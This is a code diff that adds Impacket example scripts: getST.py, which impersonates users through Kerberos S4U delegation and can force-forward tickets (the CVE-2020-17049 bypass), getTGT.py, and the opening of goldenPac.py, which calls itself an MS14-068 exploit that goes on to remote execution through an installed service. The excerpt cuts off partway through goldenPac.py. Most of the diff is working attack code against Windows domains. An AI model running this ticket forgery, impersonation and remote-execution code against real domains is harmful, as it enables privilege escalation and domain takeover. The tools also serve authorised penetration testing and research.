+            seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+            now = datetime.datetime.utcnow()
+            authenticator['cusec'] = now.microsecond
+            authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+            encodedAuthenticator = encoder.encode(authenticator)
+
+            # Key Usage 7
+            # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+            # TGS authenticator subkey), encrypted with the TGS session
+            # key (Section 5.5.1)
+            encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+            apReq['authenticator'] = noValue
+            apReq['authenticator']['etype'] = cipher.enctype
+            apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+            encodedApReq = encoder.encode(apReq)
+
+            tgsReq = TGS_REQ()
+
+            tgsReq['pvno'] = 5
+            tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+            tgsReq['padata'] = noValue
+            tgsReq['padata'][0] = noValue
+            tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+            tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+            # Add resource-based constrained delegation support
+            paPacOptions = PA_PAC_OPTIONS()
+            paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
+
+            tgsReq['padata'][1] = noValue
+            tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
+            tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
+
+            reqBody = seq_set(tgsReq, 'req-body')
+
+            opts = list()
+            # This specified we're doing S4U
+            opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
+            opts.append(constants.KDCOptions.canonicalize.value)
+            opts.append(constants.KDCOptions.forwardable.value)
+            opts.append(constants.KDCOptions.renewable.value)
+
+            reqBody['kdc-options'] = constants.encodeFlags(opts)
+            service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            seq_set(reqBody, 'sname', service2.components_to_asn1)
+            reqBody['realm'] = self.__domain
+
+            myTicket = ticket.to_asn1(TicketAsn1())
+            seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
+
+            now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+            reqBody['till'] = KerberosTime.to_asn1(now)
+            reqBody['nonce'] = random.getrandbits(31)
+            seq_set_iter(reqBody, 'etype',
+                         (
+                             int(constants.EncryptionTypes.rc4_hmac.value),
+                             int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
+                             int(constants.EncryptionTypes.des_cbc_md5.value),
+                             int(cipher.enctype)
+                         )
+                         )
+            message = encoder.encode(tgsReq)
+
+            logging.info('\tRequesting S4U2Proxy')
+            r = sendReceive(message, self.__domain, kdcHost)
+
+            tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
+
+            cipherText = tgs['enc-part']['cipher']
+
+            # Key Usage 8
+            # TGS-REP encrypted part (includes application session
+            # key), encrypted with the TGS session key (Section 5.4.2)
+            plainText = cipher.decrypt(sessionKey, 8, cipherText)
+
+            encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
+
+            newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+
+            # Creating new cipher based on received keytype
+            cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+
+            return r, cipher, sessionKey, newSessionKey
+
+    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
+        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+        # Extract the ticket from the TGT
+        ticket = Ticket()
+        ticket.from_asn1(decodedTGT['ticket'])
+
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq, 'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = str(decodedTGT['crealm'])
+
+        clientName = Principal()
+        clientName.from_asn1(decodedTGT, 'crealm', 'cname')
+
+        seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow()
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('AUTHENTICATOR')
+            print(authenticator.prettyPrint())
+            print('\n')
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq = TGS_REQ()
+
+        tgsReq['pvno'] = 5
+        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+
+        tgsReq['padata'] = noValue
+        tgsReq['padata'][0] = noValue
+        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
+        # requests a service ticket to itself on behalf of a user. The user is
+        # identified to the KDC by the user's name and realm.
+        clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
+        S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('S4UByteArray')
+            hexdump(S4UByteArray)
+
+        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
+        # with the following three parameters: the session key of the TGT of
+        # the service performing the S4U2Self request, the message type value
+        # of 17, and the byte array S4UByteArray.
+        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('CheckSum')
+            hexdump(checkSum)
+
+        paForUserEnc = PA_FOR_USER_ENC()
+        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
+        paForUserEnc['userRealm'] = self.__domain
+        paForUserEnc['cksum'] = noValue
+        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
+        paForUserEnc['cksum']['checksum'] = checkSum
+        paForUserEnc['auth-package'] = 'Kerberos'
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('PA_FOR_USER_ENC')
+            print(paForUserEnc.prettyPrint())
+
+        encodedPaForUserEnc = encoder.encode(paForUserEnc)
+
+        tgsReq['padata'][1] = noValue
+        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
+        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
+
+        reqBody = seq_set(tgsReq, 'req-body')
+
+        opts = list()
+        opts.append(constants.KDCOptions.forwardable.value)
+        opts.append(constants.KDCOptions.renewable.value)
+        opts.append(constants.KDCOptions.canonicalize.value)
+
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+
+        serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
+
+        seq_set(reqBody, 'sname', serverName.components_to_asn1)
+        reqBody['realm'] = str(decodedTGT['crealm'])
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = random.getrandbits(31)
+        seq_set_iter(reqBody, 'etype',
+                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('Final TGS')
+            print(tgsReq.prettyPrint())
+
+        logging.info('\tRequesting S4U2self')
+        message = encoder.encode(tgsReq)
+
+        r = sendReceive(message, self.__domain, kdcHost)
+
+        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('TGS_REP')
+            print(tgs.prettyPrint())
+
+        if self.__force_forwardable:
+            # Convert hashes to binary form, just in case we're receiving strings
+            if isinstance(nthash, str):
+                try:
+                    nthash = unhexlify(nthash)
+                except TypeError:
+                    pass
+            if isinstance(aesKey, str):
+                try:
+                    aesKey = unhexlify(aesKey)
+                except TypeError:
+                    pass
+
+            # Compute NTHash and AESKey if they're not provided in arguments
+            if self.__password != '' and self.__domain != '' and self.__user != '':
+                if not nthash:
+                    nthash = compute_nthash(self.__password)
+                    if logging.getLogger().level == logging.DEBUG:
+                        logging.debug('NTHash')
+                        print(hexlify(nthash).decode())
+                if not aesKey:
+                    salt = self.__domain.upper() + self.__user
+                    aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
+                    if logging.getLogger().level == logging.DEBUG:
+                        logging.debug('AESKey')
+                        print(hexlify(aesKey).decode())
+
+            # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
+            cipherText = tgs['ticket']['enc-part']['cipher']
+
+            # Check which cipher was used to encrypt the ticket. It's not always the same
+            # This determines which of our keys we should use for decryption/re-encryption
+            newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
+            if newCipher.enctype == Enctype.RC4:
+                key = Key(newCipher.enctype, nthash)
+            else:
+                key = Key(newCipher.enctype, aesKey)
+
+            # Decrypt and decode the ticket
+            # Key Usage 2
+            # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
+            #  application session key), encrypted with the service key
+            #  (section 5.4.2)
+            plainText = newCipher.decrypt(key, 2, cipherText)
+            encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
+
+            # Print the flags in the ticket before modification
+            logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
+            logging.debug('\tService ticket from S4U2self is'
+                          + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+                          + ' forwardable')
+
+            # Customize flags the forwardable flag is the only one that really matters
+            logging.info('\tForcing the service ticket to be forwardable')
+            # convert to string of bits
+            flagBits = encTicketPart['flags'].asBinary()
+            # Set the forwardable flag. Awkward binary string insertion
+            flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
+            # Overwrite the value with the new bits
+            encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)  # Update flags
+
+            logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
+            logging.debug('\tService ticket now is'
+                          + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+                          + ' forwardable')
+
+            # Re-encode and re-encrypt the ticket
+            # Again, Key Usage 2
+            encodedEncTicketPart = encoder.encode(encTicketPart)
+            cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+            # put it back in the TGS
+            tgs['ticket']['enc-part']['cipher'] = cipherText
+
+        ################################################################################
+        # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
+        # So here I have a ST for me.. I now want a ST for another service
+        # Extract the ticket from the TGT
+        ticketTGT = Ticket()
+        ticketTGT.from_asn1(decodedTGT['ticket'])
+
+        # Get the service ticket
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq, 'ticket', ticketTGT.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = str(decodedTGT['crealm'])
+
+        clientName = Principal()
+        clientName.from_asn1(decodedTGT, 'crealm', 'cname')
+
+        seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow()
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq = TGS_REQ()
+
+        tgsReq['pvno'] = 5
+        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+        tgsReq['padata'] = noValue
+        tgsReq['padata'][0] = noValue
+        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+        # Add resource-based constrained delegation support
+        paPacOptions = PA_PAC_OPTIONS()
+        paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
+
+        tgsReq['padata'][1] = noValue
+        tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
+        tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
+
+        reqBody = seq_set(tgsReq, 'req-body')
+
+        opts = list()
+        # This specified we're doing S4U
+        opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
+        opts.append(constants.KDCOptions.canonicalize.value)
+        opts.append(constants.KDCOptions.forwardable.value)
+        opts.append(constants.KDCOptions.renewable.value)
+
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+        service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
+        seq_set(reqBody, 'sname', service2.components_to_asn1)
+        reqBody['realm'] = self.__domain
+
+        myTicket = ticket.to_asn1(TicketAsn1())
+        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = random.getrandbits(31)
+        seq_set_iter(reqBody, 'etype',
+                     (
+                         int(constants.EncryptionTypes.rc4_hmac.value),
+                         int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
+                         int(constants.EncryptionTypes.des_cbc_md5.value),
+                         int(cipher.enctype)
+                     )
+                     )
+        message = encoder.encode(tgsReq)
+
+        logging.info('\tRequesting S4U2Proxy')
+        r = sendReceive(message, self.__domain, kdcHost)
+
+        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
+
+        cipherText = tgs['enc-part']['cipher']
+
+        # Key Usage 8
+        # TGS-REP encrypted part (includes application session
+        # key), encrypted with the TGS session key (Section 5.4.2)
+        plainText = cipher.decrypt(sessionKey, 8, cipherText)
+
+        encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
+
+        newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+
+        # Creating new cipher based on received keytype
+        cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+
+        return r, cipher, sessionKey, newSessionKey
+
+    def run(self):
+        tgt = None
+
+        # Do we have a TGT cached?
+        domain, _, TGT, _ = CCache.parseFile(self.__domain)
+
+        # ToDo: Check this TGT belogns to the right principal
+        if TGT is not None:
+            tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
+            oldSessionKey = sessionKey
+
+        if tgt is None:
+            # Still no TGT
+            userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+            logging.info('Getting TGT for user')
+            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                    unhexlify(self.__lmhash), unhexlify(self.__nthash),
+                                                                    self.__aesKey,
+                                                                    self.__kdcHost)
+
+        # Ok, we have valid TGT, let's try to get a service ticket
+        if self.__options.impersonate is None:
+            # Normal TGS interaction
+            logging.info('Getting ST for user')
+            serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
+            self.__saveFileName = self.__user
+        else:
+            # Here's the rock'n'roll
+            try:
+                logging.info('Impersonating %s' % self.__options.impersonate)
+                # Editing below to pass hashes for decryption
+                if self.__additional_ticket is not None:
+                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
+                                                                                                  self.__kdcHost, self.__additional_ticket)
+                else:
+                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
+            except Exception as e:
+                logging.debug("Exception", exc_info=True)
+                logging.error(str(e))
+                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
+                    logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
+                if str(e).find('KDC_ERR_BADOPTION') >= 0:
+                    logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
+
+                return
+            self.__saveFileName = self.__options.impersonate
+
+        self.saveTicket(tgs, oldSessionKey)
+
+
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
+                                                                "Service Ticket and save it as ccache")
+    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
+    parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
+                                                                    'service ticket will' ' be generated for')
+    parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
+                                                             ' for quering the ST. Keep in mind this will only work if '
+                                                             'the identity provided in this scripts is allowed for '
+                                                             'delegation to the SPN specified')
+    parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
+                                                                        'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
+                                                                        'specified -identity should be provided. This allows impresonation of protected users '
+                                                                        'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                                                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
+                                                                            'ommited it use the domain part (FQDN) specified in the target parameter')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        print("\nExamples: ")
+        print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n")
+        print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.identity)
+
+    try:
+        if domain is None:
+            logging.critical('Domain should be specified!')
+            sys.exit(1)
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+        executer = GETST(username, password, domain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+
+            traceback.print_exc()
+        print(str(e))
diff --git a/examples/getTGT.py b/examples/getTGT.py
new file mode 100644
index 0000000..d20df28
--- /dev/null
+++ b/examples/getTGT.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Given a password, hash or aesKey, it will request a TGT and save it as ccache
+#
+#   Examples:
+#       ./getTGT.py -hashes lm:nt contoso.com/user
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import logging
+import sys
+from binascii import unhexlify
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.krb5.kerberosv5 import getKerberosTGT
+from impacket.krb5 import constants
+from impacket.krb5.types import Principal
+
+
+class GETTGT:
+    def __init__(self, target, password, domain, options):
+        self.__password = password
+        self.__user= target
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__options = options
+        self.__kdcHost = options.dc_ip
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def saveTicket(self, ticket, sessionKey):
+        logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
+        from impacket.krb5.ccache import CCache
+        ccache = CCache()
+
+        ccache.fromTGT(ticket, sessionKey, sessionKey)
+        ccache.saveFile(self.__user + '.ccache')
+
+    def run(self):
+        userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
+                                                                self.__kdcHost)
+        self.saveTicket(tgt,oldSessionKey)
+
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
+                                                                "TGT and save it as ccache")
+    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        print("\nExamples: ")
+        print("\t./getTGT.py -hashes lm:nt contoso.com/user\n")
+        print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.identity)
+
+    try:
+        if domain is None:
+            logging.critical('Domain should be specified!')
+            sys.exit(1)
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+        executer = GETTGT(username, password, domain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        print(str(e))
diff --git a/examples/goldenPac.py b/examples/goldenPac.py
new file mode 100644
index 0000000..4c1d955
--- /dev/null
+++ b/examples/goldenPac.py
@@ -0,0 +1,1146 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!
+#   Well done :).
+#   This one also established a SMBConnection and PSEXEcs the
+#   target.
+#   A few important things:
+#   1) you must use the domain FQDN or use -dc-ip switch
+#   2) target must be a FQDN as well and matching the target's NetBIOS
+#   3) Just RC4 at the moment - DONE (aes256 added)
+#   4) It won't work on Kerberos-only Domains (but can be fixed)
+#   5) Use WMIEXEC approach instead
+#
+#   E.G:
+#       python goldenPac domain.net/normaluser@domain-host
+#       the password will be asked, or
+#
+#       python goldenPac.py domain.net/normaluser:mypwd@domain-host
+#
+#       if domain.net and/or domain-host do not resolve, add them
+#       to the hosts file or use the -dc-ip and -target-ip parameters
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import cmd
+import logging
+import os
+import random
+import string
+import time
+from binascii import unhexlify
+from threading import Thread, Lock
+from six import PY3
+
+from impacket.dcerpc.v5 import epm
+from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
+    DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
+    NULLGUID
+from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
+from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
+from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES
+from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
+    PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
+    PAC_PRIVSVR_CHECKSUM, PACTYPE
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.examples import remcomsvc, serviceinstall
+from impacket.smbconnection import SMBConnection, smb
+from impacket.structure import Structure
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+def getFileTime(t):
+    t *= 10000000
+    t += 116444736000000000
+    return t
+
+class RemComMessage(Structure):
+    structure = (
+        ('Command','4096s=""'),
+        ('WorkingDir','260s=""'),
+        ('Priority','<L=0x20'),
+        ('ProcessID','<L=0x01'),
+        ('Machine','260s=""'),
+        ('NoWait','<L=0'),
+    )
+
+class RemComResponse(Structure):
+    structure = (
+        ('ErrorCode','<L=0'),
+        ('ReturnCode','<L=0'),
+    )
+
+RemComSTDOUT         = "RemCom_stdout"
+RemComSTDIN          = "RemCom_stdin"
+RemComSTDERR         = "RemCom_stderr"
+
+lock = Lock()
+
+class PSEXEC:
+    def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
+        self.__username = username
+        self.__command = command
+        self.__path = None
+        self.__domain = domain
+        self.__exeFile = None
+        self.__copyFile = copyFile
+        self.__TGS = TGS
+        self.__smbConnection = smbConnection
+
+    def run(self, addr):
+        rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
+        dce = rpctransport.get_dce_rpc()
+        try:
+            dce.connect()
+        except Exception as e:
+            logging.critical(str(e))
+            sys.exit(1)
+
+        global dialect
+        dialect = rpctransport.get_smb_connection().getDialect()
+
+        try:
+            unInstalled = False
+            s = rpctransport.get_smb_connection()
+
+            # We don't wanna deal with timeouts from now on.
+            s.setTimeout(100000)
+            if self.__exeFile is None:
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
+            else:
+                try:
+                    f = open(self.__exeFile, 'rb')
+                except Exception as e:
+                    logging.critical(str(e))
+                    sys.exit(1)
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
+    
+            installService.install()
+
+            if self.__exeFile is not None:
+                f.close()
+
+            # Check if we need to copy a file for execution
+            if self.__copyFile is not None:
+                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
+                # And we change the command to be executed to this filename
+                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
+
